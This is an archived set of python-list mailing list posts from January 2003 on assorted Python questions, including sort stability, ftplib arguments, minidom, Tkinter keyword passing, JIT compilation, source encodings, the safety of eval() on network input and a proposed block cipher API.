>> "try it and see, but if it fails it must fail atomically", i.e., a failure
>> does not change anything in the data structure. If I can not guarentee
> 
> I find a (very occasional) need for such "low-level atomicity" (more
> often the atomicity must be ensured as part of a larger transaction
> in an ACID context and thus it's not very useful to bend over backwards
> to also guarantee it to such fine granularity), and have documented
> the approach as a recipe in the Python Cookbook, online at:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52291

I still don't like that because just because class A has an "insert"
method and class B has an "insert" method does not mean that it means even
remotely the same thing, even if they have the same signiture. The fact
that the "Tag" class requires an explicit wrapping is a feature, not a
bug: First, I wouldn't expect that there will exist a class anywhere that
wouldn't *already* require a wrapper to work in my system, so adding the
Tag is about 10 chars more. Second, the Tag functions as a semantic kind of
declaration that "Yes, I mean *your* insert, not a list insert, not an
array insert, not an insert-tab-a-into-slot-b insert". If I'm going
through the effort of checking, I want to be *right*, such that it's the
other programmers 'fault' if they don't maintain the contract.

It's like a namespace for methods, sort of. Or a protocol declaration,
albiet a weak one. Simple name correspondence isn't enough to satisfy me
on those rare occasions I care.

That said I just looked through the code I've been thinking of and I
recently refactored it such that there are only two type checks now: One
in an equivalency-checking function to make sure two objects have the same
__class__ (a valid question in an equivalency determination, and only used
for automated testing anyhow), and the other to implement an (optional!)
feature where a node can declare that it will only accept certain types of
children, which makes sense to me. There used to be more but it looks like
they got eliminated in the refactoring. The first case is a wash anyhow,
because it's only used in testing, but in the second, *all* the subclasses
have method name equivalence; actual type checking is necessary, and there
are definately use cases where such a thing is desirable in my app. (And
by use cases, I mean that end-users will appreciate it, not just
developers.)



From tdelaney at avaya.com  Wed Jan 29 18:36:04 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Thu, 30 Jan 2003 10:36:04 +1100
Subject: sort by last then by first
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC107@natasha.auslabs.avaya.com>

> From: Alex Martelli [mailto:aleax at aleax.it]
> 
> Peter Abel wrote:
>    ...
> > If you change the order of sorting from
> > low order key to high order key, I can't see
> > any reason, why this shouldn't work stable.
> 
> the list.sort method is NOT guaranteed to be stable.
> It generally LOOKS stable, for small enough lists,
> up to Python 2.2 -- and it has been changed to one
> that happens to be stable in 2.3 -- but it's never
> a good idea to rely on such things, which may well
> change from one version to another: list.sort at any
> time will be the fastest sort Tim Peters can think
> up, whether that's a stable one or not.

Just a further note on this ... a lot of people try sorting short lists with
pre-2.3 and conclude that the sort is stable experimentally.

There is a reason for this ... the old sort algorithm (a quicksort variant)
falls back to a different algorithm when partitions are small enough. This
other algorithm just happens to be stable ...

In any case, even with the 2.3 stable sort (which is very fast),
Decorate-Sort-Undecorate as per 

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52234

has been tested to still be much faster.

Tim Delaney




From pmagwene at speakeasy.net  Tue Jan 21 08:43:38 2003
From: pmagwene at speakeasy.net (paul m)
Date: Tue, 21 Jan 2003 08:43:38 -0500
Subject: looking for a math package
References: <6ca96053.0301202324.7a741acd@posting.google.com>
Message-ID: <FledncgF4rvC07CjXTWcow@speakeasy.net>

"Yuval" <yuvalfeld at hotmail.com> wrote in message
news:6ca96053.0301202324.7a741acd at posting.google.com...
> Hi,
> I'm looking for a package containing some useful math functionality,
> written in python. In particular, I want to generate a random variable
> that will be drawn from a power law distribution, and I'm looking for
> an appropriate package.
>


I don't know how far along it is, but the GNU Scientific Library (
http://www.gnu.org/software/gsl/ ) has the beginnings of a Python
wrapper: http://sourceforge.net/projects/pygsl

--Paul




From clifford.wells at attbi.com  Thu Jan  9 20:44:41 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 09 Jan 2003 17:44:41 -0800
Subject: Do pythons like sugar?
In-Reply-To: <avl458$alf$1@slb0.atl.mindspring.net>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
	 <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>
	 <avjj5d$8cn$1@slb3.atl.mindspring.net>
	 <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>
	 <mailman.1042150368.28357.python-list@python.org>
	 <avl458$alf$1@slb0.atl.mindspring.net>
Message-ID: <1042163081.6001.249.camel@x1-6-00-04-5a-64-c4-03>

On Thu, 2003-01-09 at 16:21, Andrew Dalke wrote:

> I posted it elsewhere.

Yes, yes.  I posted most of these comments between 7 and 8 this morning
(that'd be almost 12 hours ago), but they didn't come through until just
now.  Didn't you see me whining earlier?


-- 
Cliff Wells <clifford.wells at attbi.com>





From amol at kenati.com  Sat Jan  4 02:10:54 2003
From: amol at kenati.com (Amol Sonaikar)
Date: Sat, 4 Jan 2003 12:40:54 +0530
Subject: Compare Python with Perl for QA purpose 
Message-ID: <200301040705.XAA12592@cyberpopuli.com>

Hi all

I am using Python to test the Our created  Command Line Interface. I would 
like to know whether Python will be better option to work on it or Perl. I 
guess the python users can very well elaborate on it.

Amol




From adalke at mindspring.com  Sat Jan 11 18:32:37 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 16:32:37 -0700
Subject: possible ftplib bug
In-Reply-To: <avq8ar$k87$1@mikill.isnet.is>
References: <avq8ar$k87$1@mikill.isnet.is>
Message-ID: <avqa0s$vh1$1@slb4.atl.mindspring.net>

Dagur P?ll Ammendrup wrote:
> When I connect to my site using FTP('my site') it works but when I do 
> FTP('my site',21)  or FTP('my site','21') it doesn't. Is this a bug in 
> ftplib?

Here's what 'FTP' takes as parameters

class FTP([host[, user[, passwd[, acct]]]])

Using '21' or 21 sets the 'user' field and not the port.

It looks like you can set the port using the 'connect' method
of the FTP object

    connect(host[, port])
     Connect to the given host and port. The default port number is
     21, as specified by the FTP protocol specification. It is
     rarely needed to specify a different port number. This
     function should be called only once for each instance; it
     should not be called at all if a host was given when the
     instance was created. All other methods can only be used after
      a connection has been made.

So try

server = FTP()
server.connect('my site' 21)

WARNING: I have not tested this myself.

and I too think the interface is counterintuitive.

					Andrew
					dalke at dalkescientific.com




From tundra at tundraware.com  Thu Jan 16 12:20:08 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 16 Jan 2003 17:20:08 GMT
Subject: Declaring A Function Argument As Global?
Message-ID: <9fp60b.86b2.ln@boundary.tundraware.com>

I want to be able to write a generic list handling function which slices
a list, but I don't want to have to return the modified list
to do so.  In other words, I purposely want the function to have
a side-effect which modifies the list handed to it. For example:


def lhandler(list):
	list = list[1:]

mylist = [1,2,3]

lhandler(mylist) doesn't change mylist (because the assignment creates
a local variable by Python scoping rules), but that's exactly what
I want it to do.  So far, I've only come up with two solutions:

          1) return the modified value - for various reasons, this is
             an ugly solution in my application.

          2) Pass the *name* of the list into the function and do something
             truly ugly like:

                 globals()[name] = globals()[name][1:]   # Yuk!

Is there another way?
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From p-abel at t-online.de  Thu Jan  9 16:34:19 2003
From: p-abel at t-online.de (Peter Abel)
Date: 9 Jan 2003 13:34:19 -0800
Subject: sorted unique elements from a list; using 2.3 features
References: <mailman.1041832210.3104.python-list@python.org> <avbltt$kb4$1@slb0.atl.mindspring.net>
Message-ID: <13a533e8.0301091334.662637cd@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avbltt$kb4$1 at slb0.atl.mindspring.net>...

Hi Andrew,
Im using Python 2.2.2 and without the 2.3. - features the
following seems to work fine:

>>> input=[5, 3, 1, 2, 5, 4, 3, 4, 1, 1, 5, 4, 5, 1, 4, 3, 2, 2, 4, 1]
>>> output=dict( zip(input ,range(len(input)) ) ).keys()
>>> output
[1, 2, 3, 4, 5]

What Im wondering about is the fact that in several examples
even without the statment:

>>> output.sort()

I always got a sorted output.

Cheers Peter



From news at snakefarm.org  Mon Jan 13 12:29:06 2003
From: news at snakefarm.org (Carsten Gaebler)
Date: Mon, 13 Jan 2003 18:29:06 +0100
Subject: Python for CGI is dead?
References: <cb035744.0301120614.3b19d223@posting.google.com> <avt5l6$1b3$04$2@news.t-online.com>
Message-ID: <avut12$ta3$1@news.schlund.de>

Phillip wrote:
> Will Stuyvesant schrieb:
> 
>> I am spending rather much time trying to build a project using CGI
>> scripts written in Python.  But am I wasting my time?

> www.puretec.de (German hoster) comes with Python by default.
> Is there a puretec.fr? DUnno...

www.unetun.com is the French branch of PureTec (aka 1&1).

cg.




From mis6 at pitt.edu  Fri Jan 17 17:16:17 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 17 Jan 2003 14:16:17 -0800
Subject: super problem
Message-ID: <2259b0e2.0301171416.d37c706@posting.google.com>

I am doing the following:

  >>> class B(object): a='attribute B.a'
  >>> class C(B):  a='attribute C.a'
  >>> parent=C.mro()[1]
  >>> setattr(parent,'a',"I have changed 'a' in the parent of C")
  >>> B.a
  "I have changed 'a' in the parent of C"

It works, but I wonder if there is a better way to do that.
I thought this was a job for 'super', but 

   setattr(super(C),'a',"I have changed 'a' in the parent of C")

doesn't work. It seems that super doesn't give the superclass, but a 
"super object" that I don't find in the documentation. How do I extract
the parent class from the super object ? Or maybe the .mro() trick
is the right way to go, after all ?
Also, how do I access the grandfather class ? With the .mro() it is
obviously .mro()[2], but with super I don't now if I can chain
two super or not.
TIA,

--
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/



From antonmuhin at rambler.ru  Wed Jan 29 11:08:24 2003
From: antonmuhin at rambler.ru (=?Windows-1251?B?YW50b25tdWhpbiDt4CByYW1ibGVyLnJ1?=)
Date: Wed, 29 Jan 2003 19:08:24 +0300
Subject: minidom question from a newbie
In-Reply-To: <3e37e374.774668625@news.skynet.be>
References: <3e37e374.774668625@news.skynet.be>
Message-ID: <15126738097.20030129190824@rambler.ru>

Hello henk,

Wednesday, January 29, 2003, 5:24:18 PM, you wrote:

import xml.dom.minidom

data = {
    "First category" : ["a", "b"],
    "Second category" : ["c"]
}

def buildDoc(data):
    doc = xml.dom.minidom.Document()
    part = doc.createElement("PredefinedTexts")
    for name, lines in data.items():
        cat = doc.createElement("Category")
        cat.setAttribute("name", name)
        for line in lines:
            text = doc.createElement("Text")
            text.setAttribute("text", line)
            cat.appendChild(text)
            
        part.appendChild(cat)
        
    doc.appendChild(part)
    return doc

file(r"sample.xml", 'w').write(buildDoc(data).toprettyxml())

    
-- 
Best regards,
 anton                            mailto:antonmuhin at rambler.ru





From exarkun at intarweb.us  Tue Jan 21 14:57:12 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Tue, 21 Jan 2003 14:57:12 -0500
Subject: Passing keywords to methods in tkinter
In-Reply-To: <3E2D9FA0.5020309@motorola.com>
References: <3E2D9FA0.5020309@motorola.com>
Message-ID: <20030121195712.GA1284@meson.dyndns.org>

On Tue, Jan 21, 2003 at 01:29:36PM -0600, Stephen Boulet wrote:
> [snip]
> 
> class App:
> 	def __init__(self,parent):
> 		buttonDict = {'text':'some text', 'fg':'red'}
> 
> 		# problem is here
> 		MyButton(parent,'1',buttonDict).grid(row=1,column=0)
> 		MyButton(parent,'2',buttonDict).grid(row=1,column=1)
> 		MyButton(parent,'3',buttonDict).grid(row=1,column=2)
> 

  This isn't the right way to pass in keyword args.  Try **buttonDict or
using apply() as you used in MyButton, or by passing them explicitly:

  MyButton(parent, '1', text='some text', fg='red')

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
--
 12:00am up 36 days, 9:48, 4 users, load average: 0.10, 0.14, 0.14
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030121/131b8b54/attachment.sig>

From mwm at mired.org  Tue Jan  7 13:50:39 2003
From: mwm at mired.org (Mike Meyer)
Date: Tue, 07 Jan 2003 18:50:39 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net>
Message-ID: <x7heckyeti.fsf@guru.mired.org>

"Robert Oschler" <Oschler at earthlink.net> writes:

> I can't look at dice.com anymore, too depressing.  Some appx stats:
> 
> Date    C++ jobs    Java jobs
> 3/2000    42000    31000
> 10/2003    2200    2800

Ok, where did you get the numbers for October 2003? Or is that 1/2003
or 10/2002?

        Thanks,
        <mike
        -- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From adalke at mindspring.com  Thu Jan  9 22:59:25 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 20:59:25 -0700
Subject: Two email module questions
In-Reply-To: <mailman.1042160599.10655.python-list@python.org>
References: <mailman.1042104496.12144.python-list@python.org> <avjjis$ebk$1@slb3.atl.mindspring.net> <mailman.1042160599.10655.python-list@python.org>
Message-ID: <avlgt3$eka$1@slb6.atl.mindspring.net>

Paul Mackinney wrote:
  >>So try 'print msg.tostring()'
> 
> This doesn't work (in 2.2.1) and 'print str(msg)' prints the unixfrom as
> does 'print msg.__str__()' [I'm guessing that these are really the same
> call.] But I'm content that to know where it's coming from.

Mmmm, I think I missed up.  Try 'as_string()'  I couldn't copy
correctly from just a few lines up.


					Andrew
					dalke at dalkescientific.com




From bokr at oz.net  Wed Jan 15 19:30:27 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 00:30:27 GMT
Subject: Efficiency: list or tuple?
References: <b045v9$79k$1@news.efn.org>
Message-ID: <b04uf3$qqm$0@216.39.172.122>

On 15 Jan 2003 17:32:25 GMT, Spencer Ernest Doidge <spencer at efn.org> wrote:

>I'm interested in putting pairs of integers and floats into a sequence 
>of indeterminate length.

>I'm collecting this data in real time, and I want to use the most efficient
>available method so as to be able to gather data as fast as possible and
>append it to the sequence as I go.

Well, it may depend on what the source of your data looks like to python.
Is it a C extension that implements a fifo for your data that you can
asynchronously (i.e., low level sync/lock taken care of in C) read from
and get chunks back from? Or are you getting single values and synthesizing
the other half of the pairs as you go? Or what?

And how fast is fast enough? E.g., is this partly an audio sample stream?
Will your whole input fit in memory, or should you be worrying about the
fastest way to move it into a file stream? Or ???

You might want to look at the array module and consider having two
separate homogeneous arrays, one for floats and one for the integers.
You could pre-allocate large arrays, so there's no hiccups in allocation
overhead. If you actually need an i-th tuple, you can always write 
(intarray[i],floatarray[i]) later, since you know values with equal indices
are pairs, if you've made it so.

>As far as I can tell, I have lists and tuples to choose from. 
>Does either of these structures work better in this situation, or is
>there some other way I don't know about?
>
It all depends on where it's coming from and where it's going ;-)

Regards,
Bengt Richter



From theller at python.net  Wed Jan  8 07:11:02 2003
From: theller at python.net (Thomas Heller)
Date: 08 Jan 2003 13:11:02 +0100
Subject: Source Forge CVS
References: <8amcnSAFceW664qjXTWcpQ@comcast.com> <d571ae53.0301050835.792a1826@posting.google.com> <mailman.1042023378.24765.python-list@python.org>
Message-ID: <u1gjj0yx.fsf@python.net>

"Donnal Walter" <donnalcwalter at yahoo.com> writes:

> "Jonathan Ellis" <ellisjb at my-deja.com> wrote:
> > "Justin Shaw" <wyojustin at hotmail.com> wrote:
> > > I have a project set up on source forge, SpellQuest,  I need to
> > > set up the CVS repository.  Can someone tell me how to do it
> > > from Windows or Linux. The Sourceforge how to tells you to "log
> > > into the CVS server"  what is that? Is it different from
> > > spellquest.sf.net?  I'd appreciate the set by step commands if
> > > anyone can fill them in for me.
> >
> > kind of a meta-answer: the best cvs front-end for windows (or linux,
> > for that matter) is smartcvs.  the free version is quite good, and if
> > you want the extra features in the payware version it's quite
> > affordable.
> 
> I am in much the same boat as Justin. Generally I am pretty adept at
> figuring things out for myself, but somehow I am missing one or two crucial
> steps. Part of the problem is that all the instructions seem to be written
> for Unix users and for the moment at least I am stuck with Windows.
> 
> So, I downloaded smartcvs and ran the setup. It looks like it is exactly
> what I need, but again, I can't quite get it to connect with my project on
> SF. Here is my first specific question. Does smartcvs have all I need to
> make this connection, or do I need to download some kind of SSH support as
> well? Thanks.

I don't know anything about smartcvs, but here are instructions
how to set up "cmdline CVS using SSH under Windows":

http://www.python.org/dev/devfaq.html#windows

They worked for me.

Thomas



From rcellis at email.com  Sun Jan 26 15:22:42 2003
From: rcellis at email.com (R. C. Ellis)
Date: Sun, 26 Jan 2003 20:22:42 GMT
Subject: Where to find tcl/tk Tkinter component memory limits
Message-ID: <3E344444.4030803@email.com>

I need to know what the limits on things like text components - that is, 
how many lines (bytes, whatever) will fit in a text edit component. 
That sort of thing.

RC




From gbreiner at ias.u-psud.fr  Tue Jan 28 10:32:03 2003
From: gbreiner at ias.u-psud.fr (Gerard Breiner)
Date: Tue, 28 Jan 2003 16:32:03 +0100
Subject: GUI is it possible with mod_python ?
Message-ID: <Pine.WNT.4.44.0301281614020.1016-100000@azur>

Hello,

First of all, i am beginner in Pyhton but not in Apache/PHP/MySQL and
Programmation Oriented Object.
Besides, i installed Python 2.2.2, mod-python and Visual Python (vpython)
on my computer under Windows XP.
I want to know if we can make the same things that PHP.
I want to know too if we can make easily some GUI application that runs
from the apache serveur into mod_python ?
That's all.
thanks indeed.
Best regards

Gerard Breiner
Institut d'Astrophysique Spatiale
Batiment 121
91405 Orsay Campus
France




From andy at eastonwest.co.uk  Sat Jan 25 18:59:16 2003
From: andy at eastonwest.co.uk (andy)
Date: Sat, 25 Jan 2003 23:59:16 +0000
Subject: Security/Safety question re: eval() and dicts
Message-ID: <200301252359.16950.andy@eastonwest.co.uk>

This is probably one for the Language Lawyers and Zen Pythonistas out there...

I'm still working (as time permits) on the 'repository' module I mentioned a 
few weeks ago.  

I've renamed it 'chalkboard' to better convey its purpose, and subtitled it 
'lightweight remote shared dictionary' to further underline its 
insignificance as an industrial-strength mission-critical utility module :-)  

Still, I don't want the security side to be totally crap, so I thought I'd 
better try to plug it's most glaring hole of all...

The prototype server (and client for that matter) receive requests, via a 
socket connection, as a string value which is supposed to be formatted as a 
Python dictionary, eg.

client sends: 
    {"request":"query","keys":{"abc":0,"def":0}}

server responds: 
    {"request":"query","keys":{"abc":123,"def":456}}

Currently, this is decoded by using 

    dict=eval(request) 
    if dict.has_key("request"):
        req=dict["request"]
        if req="query":
            # process query
        elif req="set":
            # set a key
    else:
        response='{"error":"malformed request"}'

So, I guess this is akin to juggling with fireworks in a welding shop...

For a start, one could repeatedly send:
    {"foad":"!" * 1024 * 1024  * 100}

Not very imaginative, I suppose, but , it crashes Python on my Linux box.

As a 'first-line' of defense, I'm proposing to 'vet' the request string before 
submitting it to eval() - my question is, can I simply perform a few simple 
tests, to verify that the string truly is a dictionary? What I have so far 
is:
    1) Verify it starts and ends with "{" and "}"
    2) Ensure that it is simply a sequence conforming to:
        "keyname" : value,
    3) Ensure that nothing after a colon constitutes a function call, 
        expression or list comprehension, ie:
        "keyname" : ident(...),
        "keyname" : [expr for var in list],
        "keyname" : "string" * number,

Is there anything else I should be aware of?  Any skeletons or spectres in 
Python syntax that could allow this approach to be exploited?  Remember that 
this is not intended to be an impenetrable fortress, with the self-healing 
capabilities of a federation startship... :-)  ... that can come later!

regards, 
-andyj




From mwh at python.net  Thu Jan 16 10:39:17 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 15:39:17 GMT
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk> <mailman.1042714955.32205.python-list@python.org> <a8b7f07a.0301160733.42084307@posting
Message-ID: <7h3iswpnlxb.fsf@pc150.maths.bris.ac.uk>

alloydflanagan at attbi.com (A. Lloyd Flanagan) writes:

> Actually I believe the intention is to eventually make them keywords
> for that reason.  In Python 2.3a1 I get:
> >>> None = 4
> <stdin>:1: SyntaxWarning: assigment to None
[...]
> By the way, am I the only one who noticed the spelling error in the
> SyntaxWarning message above?  Somebody should fix that...

Apparently so.  I've just fixed it.

Cheers,
M.

-- 
  I think if we have the choice, I'd rather we didn't explicitly put
  flaws in the reST syntax for the sole purpose of not insulting the
  almighty.                                    -- /will on the doc-sig



From peter at engcorp.com  Sat Jan 11 17:57:01 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 11 Jan 2003 17:57:01 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net> <v210trgcq5gdf1@news.supernews.com> <Fb0U9.122581$Hs2.11514845@kent.svc.tds.net>
Message-ID: <3E20A13D.539E934C@engcorp.com>

"Edward K. Ream" wrote:
> 
> > > If JIT's are so effective, why are the swing classes so slow?
> >
> > Think of how slow they'd be without the JIT compilers! After all,
> > they're doing in Java what any sane package does in C with
> > assembler assists.
> 
> I am _not_ denying that JIT's can speed up code!  I am raising doubts about
> whether any JIT can produce results superior to hand-written C code.  The
> two issues are completely different!

I believe it's actually not the case that a JIT compiler will generally
produce faster code than hand-written C.  JIT compilers have a trade-off
between speed of the generated code, and speed of the code generation --
they must finish quickly because they have to run at startup.

As I understand it, a compiler like the Java HotSpot compiler, however, 
*can* produce results better than hand-written C, and the reason should 
be fairly clear:  in addition to having more time to execute because it
doesn't reduce invocation time, a compiler like that has the advantage
of being able to analyze the code *in the current dynamic context*
where it is running.  The C compiler has no knowledge of the conditions
that will exist when the code runs.  Even if it did, its job is
already done, while the HotSpot compiler can run again, and again,
tuning the application as conditions change.

Now if you want to argue *still* that hand-written C code based 
on a careful analysis of the dynamic situation to be expected,
and designed automatically to adapt as conditions change can always
be made faster than what something like HotSpot can produce, then
I would say you're making the same argument I made 23 years ago
about Assembler versus optimizing C compilers, and the answer 
is the same: *practically* it's irrelevant because only in extremely
rare circumstances can one afford to take the time to optimize
or design that carefully, while the HotSpot compiler can do it
in general "for free".

-Peter



From cb at orcl.net  Mon Jan 20 06:09:52 2003
From: cb at orcl.net (Christian Bretterklieber)
Date: 20 Jan 2003 11:09:52 GMT
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <m3ptqs42vw.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b0gle0$p21gr$1@ID-75629.news.dfncis.de>

Martin v. L?wis <martin at v.loewis.de> wrote:

>>   The error message it throws is "UnicodeError: ASCII decoding error:
>> Ordinal not in range (128)". Interestingly enough, the script as is
>> works, just not the exefied version (The --packages encodings option to
>> py2exe was given, of course).

> Perhaps you have changed the system default encoding in site.py? You
> should not do this.

  I did, as I said in my first post. But I only did it after the error
occured the first time. And this was mentioned in some posts I found on
the Net. I think it's also mentioned in site.py in some comment. I
inserted the following:

if 1:
   sys.setdefaultencoding('iso-8859-1')



> If you haven't changed the system default encoding, you should find
> out why the script works when run with an installed Python. Inspect
> the line that causes the exception, and find out whether you are
> converting byte \x80 to a Unicode string. If this won't happen, you
> are just using different data in both cases.

  I will have a look into it. Nonetheless, the data is absolutely the
same in both cases. This is weird, indeed.

> Regards,
> Martin

cu,

c/hris.

-- 
"The proper way to handle HTML postings is to cancel the article, then
kill the poster, his wife and kids, and fuck his dog and smash his
computer into little bits. Anything more is just extremism."
                                 -- Paul Tomblin



From tismer at tismer.com  Mon Jan 13 23:11:25 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 05:11:25 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 MinimalPython project)
In-Reply-To: <S0KU9.8852$Qr4.881533@newsread1.prod.itd.earthlink.net>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042458465.10767.python-list@python.org> <avv00s$elh$1@mailgate2.lexis-nexis.com> <mailman.1042503107.13875.python-list@python.org> <S0KU9.8852$Qr4.881533@newsread1.prod.itd.earthlink.net>
Message-ID: <3E238DED.9010102@tismer.com>

Terry Hancock wrote:
> Christian Tismer wrote:
> 
>>Thanks, I'm convinced. It is *not* P.
> 
> 
> Hey, that sounds cool: "notP".  I like it.

Oh well. I understand now that people are trying
whether I can stand the temptation to continue
this thread into infinity.

Yes, I will stop it now and start coding :-)

thanks for all the nice ideas -- chris





From a.schmolck at gmx.net  Thu Jan 23 16:52:27 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 23 Jan 2003 21:52:27 +0000
Subject: Is there really a default source encoding?
In-Reply-To: <004401c2c315$ce598ce0$21795418@dell1700>
References: <004401c2c315$ce598ce0$21795418@dell1700>
Message-ID: <yfsel731qlg.fsf@black132.ex.ac.uk>

Brian Quinlan <brian at sweetapp.com> writes:

> I don't understand the goal of your proposal. The goal of the current
> plan is to support existing non-ASCII source files but warn the user
> that they will need to add an encoding comment in the future. 

This is a laudable goal. I just didn't understand why one would want to, after
slowly and carefully moving away from eurocentric (latin-1), revert even
further back to anglocentric (ascii) instead of opting for truly international
(and anglo-neutral, utf-8). That seemed a bit like 1 step forward, 2 steps
back. Sure, you could always explicitly request utf-8 by some comment-kludge,
but why not make something the default that simply handles *all* cases and is
fully upward compatible to what Martin said would become the default encoding
instead (ascii)? Now your next statement sheds some light on the issue:

> 
> UTF-8 is a supported encoding. In fact, if a UTF-8 BOM is present then
> the encoding comment is not necessary.
> 

Great. Only are you sure that BOMs are such a great idea?

Quote: (from http://www.cl.cam.ac.uk/~mgk25/unicode.html)

    It has also been suggested to use the UTF-8 encoded BOM (0xEF 0xBB 0xBF) as a
    signature to mark the beginning of a UTF-8 file. This practice should
    definitely not be used on POSIX systems for several reasons:
    
    On POSIX systems, the locale and not magic file type codes define the encoding
    of plain text files. Mixing the two concepts would add a lot of complexity and
    break existing functionality.  Adding a UTF-8 signature at the start of a file
    would interfere with many established conventions such as the kernel looking
    for "#!" at the beginning of a plaintext executable to locate the appropriate
    interpreter.  Handling BOMs properly would add undesirable complexity even to
    simple programs like cat or grep that mix contents of several files into one.

The '#!'-bit would seem especially relevant.  

I don't pretend to be a great unicode expert and maybe the above is outdated,
flawed, irrelevant or whatever, but it still isn't clear to me why .py files
(with or without BOM) shouldn't just be assumed to be utf-8 (after the
transitory latin-1 period), BOM or no BOM (and my cursory rereading of pep-263
didn't make it clear to me either).

alex







From maxm at mxm.dk  Fri Jan 31 03:30:03 2003
From: maxm at mxm.dk (Max M)
Date: Fri, 31 Jan 2003 09:30:03 +0100
Subject: In continuing of my question...
In-Reply-To: <b1d6cq$175p$1@bull.east.ru>
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru>
Message-ID: <asq_9.48863$Hl6.6190476@news010.worldonline.dk>

Nicolay Vasiliev wrote:
> Does Python have any reporting system (maybe as third party tool)?


I am not entirely shure what you mean. But there is ReportLab wich 
generates pdf files.

> And could
> I export data to MS applications (ie, MS Excel)?


Yes. You can do this via. COM. You need to get Mark Hammonds win32all 
extensions.


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 15:16:39 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 29 Jan 2003 12:16:39 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043816392.20156.python-list@python.org> <7xu1fsbj6b.fsf@ruckus.brouhaha.com> <mailman.1043831754.32707.python-list@python.org>
Message-ID: <7xvg07u2xk.fsf@ruckus.brouhaha.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
> I realize your intentions are good, and I think the code and ideas show 
> promise, and as I said before, your enthusiasm is helping to get people 
> interested in your work.  But the way you floated the idea, at least in 
> this newsgroup, comes off as VERY presumptuous.

I apologize if it came across that way.  I didn't think I was
"floating an idea".  I thought I was posting news of something that's
been in the works in the python-crypto group and under discussion
with the Python maintainers for months, though inactive for a while.

> Frankly, that is all well and good, but when you talk about modules
> dealing with security and cryptography, there are many people who
> appreciate a MUCH more conservative attitude for adoption; they
> don't want to use security related code written by a hotshot in a
> few weeks.  They want testing, testing, TESTING, and more testing.

Keep in mind that we're not talking about a complex system like
OpenSSL or PGP, that has a lot of platform dependencies and a lot of
execution paths that need to be exercised.  It's just some Python
bindings for already-tested code that computes straightforward math
functions.  The interface is also nothing amazing.  It's just Python
language bindings for functions that have already been done for many
other languages.  As for testing, yes, as mentioned, the module won't
be submitted unless it passes NIST test vectors.  It will also have to
undergo some code review, plus exercised for possible memory leaks and
stuff like that.  Following that, there's at least one upcoming alpha
test followed by (I think) two beta tests.

As for whether this can get done satisfactorily in time for 2.3: I
don't know, but as I said before, the only way to find out is to make
the effort and see.  So that's the logical thing to do.

> Then they want to make sure they don't get boxed in and have to
> change later (they want it to work now and forever, with as few
> changes as possible.)

I don't think this is a big issue.  Again, we're not talking about an
elaborate grand architecture.  It's just Python language bindings to
do similar things to what's already been done many times in other
languages.  At worst, it will omit some features that some
applications turn out to need, and then there may be reason to later
add those features.  That happens with every type of software.  It's
not a big deal.



From kevin at cazabon.com  Tue Jan  7 18:47:36 2003
